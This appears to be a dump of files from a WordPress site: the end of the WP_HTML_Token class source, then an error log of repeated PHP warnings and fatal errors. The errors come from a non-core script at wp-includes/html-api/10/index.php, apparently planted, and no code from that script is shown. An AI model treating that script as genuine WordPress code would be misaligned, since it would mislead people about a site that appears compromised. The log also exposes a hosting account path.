	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
error_log000064400000362724151440300030006465 0ustar00[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
